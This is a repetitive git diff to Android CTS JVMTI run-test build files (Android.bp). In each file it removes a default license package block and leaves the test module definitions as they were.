diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.bp b/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
index 89cc159..ba6d2c6 100644
--- a/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-915/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest915DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.bp b/hostsidetests/jvmti/run-tests/test-917/Android.bp
index cef34ce..c26d916 100644
--- a/hostsidetests/jvmti/run-tests/test-917/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest917HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.bp b/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
index 6032efb..353c142 100644
--- a/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-917/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest917DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.bp b/hostsidetests/jvmti/run-tests/test-918/Android.bp
index d6a2f08..193fe2b 100644
--- a/hostsidetests/jvmti/run-tests/test-918/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest918HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.bp b/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
index aac8dd2..6d7951a 100644
--- a/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-918/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest918DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.bp b/hostsidetests/jvmti/run-tests/test-919/Android.bp
index f3c5c53..2c3d12d 100644
--- a/hostsidetests/jvmti/run-tests/test-919/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest919HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.bp b/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
index 277f865..9839bd9 100644
--- a/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-919/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest919DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.bp b/hostsidetests/jvmti/run-tests/test-920/Android.bp
index b2fb207..25bee668 100644
--- a/hostsidetests/jvmti/run-tests/test-920/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest920HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.bp b/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
index d12530c..2e3b0a0 100644
--- a/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-920/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest920DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.bp b/hostsidetests/jvmti/run-tests/test-922/Android.bp
index d43497e..4629fbc 100644
--- a/hostsidetests/jvmti/run-tests/test-922/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest922HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.bp b/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
index 1c553fe..37bb079 100644
--- a/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-922/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest922DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.bp b/hostsidetests/jvmti/run-tests/test-923/Android.bp
index e9e9165..24ca2dc 100644
--- a/hostsidetests/jvmti/run-tests/test-923/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest923HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.bp b/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
index dc355f8..9f1659e 100644
--- a/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-923/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest923DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.bp b/hostsidetests/jvmti/run-tests/test-924/Android.bp
index 383a611..118f711 100644
--- a/hostsidetests/jvmti/run-tests/test-924/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest924HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.bp b/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
index 23a1aaf..3700ade 100644
--- a/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-924/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest924DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.bp b/hostsidetests/jvmti/run-tests/test-926/Android.bp
index c60de12..c56a334 100644
--- a/hostsidetests/jvmti/run-tests/test-926/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest926HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.bp b/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
index e06670e..afb334a 100644
--- a/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-926/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest926DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.bp b/hostsidetests/jvmti/run-tests/test-927/Android.bp
index 812e67a..572b893 100644
--- a/hostsidetests/jvmti/run-tests/test-927/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest927HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.bp b/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
index a30935a..47d4f11 100644
--- a/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-927/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest927DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.bp b/hostsidetests/jvmti/run-tests/test-928/Android.bp
index 0745805..80ec3c7 100644
--- a/hostsidetests/jvmti/run-tests/test-928/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest928HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.bp b/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
index a061521..120fe11 100644
--- a/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest928DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.bp b/hostsidetests/jvmti/run-tests/test-930/Android.bp
index baf38d3..bd76877 100644
--- a/hostsidetests/jvmti/run-tests/test-930/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest930HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.bp b/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
index 4869f41..09302fb 100644
--- a/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest930DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.bp b/hostsidetests/jvmti/run-tests/test-931/Android.bp
index fd401d1..c722fb6 100644
--- a/hostsidetests/jvmti/run-tests/test-931/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest931HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.bp b/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
index 5c4679c..f925396 100644
--- a/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest931DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.bp b/hostsidetests/jvmti/run-tests/test-932/Android.bp
index 46936c3..8614c27 100644
--- a/hostsidetests/jvmti/run-tests/test-932/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest932HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.bp b/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
index 5fd6739..a698d46 100644
--- a/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest932DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.bp b/hostsidetests/jvmti/run-tests/test-940/Android.bp
index 72d9821..5e0ccc8 100644
--- a/hostsidetests/jvmti/run-tests/test-940/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest940HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.bp b/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
index 7007d13..f3ef9ff 100644
--- a/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest940DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.bp b/hostsidetests/jvmti/run-tests/test-942/Android.bp
index fde1311..3317a23 100644
--- a/hostsidetests/jvmti/run-tests/test-942/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest942HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.bp b/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
index 4b7d5b4..e52ee99 100644
--- a/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest942DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.bp b/hostsidetests/jvmti/run-tests/test-944/Android.bp
index 5969e42..ce42f1e 100644
--- a/hostsidetests/jvmti/run-tests/test-944/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest944HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.bp b/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
index 3aef24a..6f9fe08 100644
--- a/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest944DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.bp b/hostsidetests/jvmti/run-tests/test-945/Android.bp
index 0dbe30c..f129a12 100644
--- a/hostsidetests/jvmti/run-tests/test-945/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest945HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.bp b/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
index 39aafd1..614d8a3 100644
--- a/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest945DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.bp b/hostsidetests/jvmti/run-tests/test-947/Android.bp
index e14c59b..cb76f33 100644
--- a/hostsidetests/jvmti/run-tests/test-947/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest947HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.bp b/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
index 573ca76..64e3550 100644
--- a/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest947DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.bp b/hostsidetests/jvmti/run-tests/test-951/Android.bp
index b6dae71..12d7d11 100644
--- a/hostsidetests/jvmti/run-tests/test-951/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest951HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.bp b/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
index 4ab2bd5..7384400 100644
--- a/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest951DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.bp b/hostsidetests/jvmti/run-tests/test-982/Android.bp
index c62b999..610e95e 100644
--- a/hostsidetests/jvmti/run-tests/test-982/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest982HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.bp b/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
index 386b349..6519a10 100644
--- a/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest982DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-983/Android.bp b/hostsidetests/jvmti/run-tests/test-983/Android.bp
index ed80849..7a2a7f4 100644
--- a/hostsidetests/jvmti/run-tests/test-983/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-983/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest983HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-983/app/Android.bp b/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
index 0eb0275..635cde8 100644
--- a/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest983DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.bp b/hostsidetests/jvmti/run-tests/test-984/Android.bp
index 67dba15..e3439b4 100644
--- a/hostsidetests/jvmti/run-tests/test-984/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest984HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.bp b/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
index 7d38d4f..93937ec 100644
--- a/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest984DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.bp b/hostsidetests/jvmti/run-tests/test-985/Android.bp
index 91452c7..9c03dea 100644
--- a/hostsidetests/jvmti/run-tests/test-985/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest985HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/Android.bp b/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
index c8e953c..4faad8b 100644
--- a/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest985DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.bp b/hostsidetests/jvmti/run-tests/test-986/Android.bp
index cfd9166..4c16b57 100644
--- a/hostsidetests/jvmti/run-tests/test-986/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest986HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/Android.bp b/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
index 4010ce6..d056900 100644
--- a/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest986DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-988/Android.bp b/hostsidetests/jvmti/run-tests/test-988/Android.bp
index 17dcb75..8493a0f 100644
--- a/hostsidetests/jvmti/run-tests/test-988/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-988/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest988HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-988/app/Android.bp b/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
index 31db2e1..fd2fdad 100644
--- a/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest988DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-989/Android.bp b/hostsidetests/jvmti/run-tests/test-989/Android.bp
index 0f99abc..ddca92c 100644
--- a/hostsidetests/jvmti/run-tests/test-989/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-989/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest989HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-989/app/Android.bp b/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
index ae0fc44..b433eec 100644
--- a/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest989DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-990/Android.bp b/hostsidetests/jvmti/run-tests/test-990/Android.bp
index 7f84835..a77521f 100644
--- a/hostsidetests/jvmti/run-tests/test-990/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-990/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest990HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-990/app/Android.bp b/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
index f892045..59f59a7 100644
--- a/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
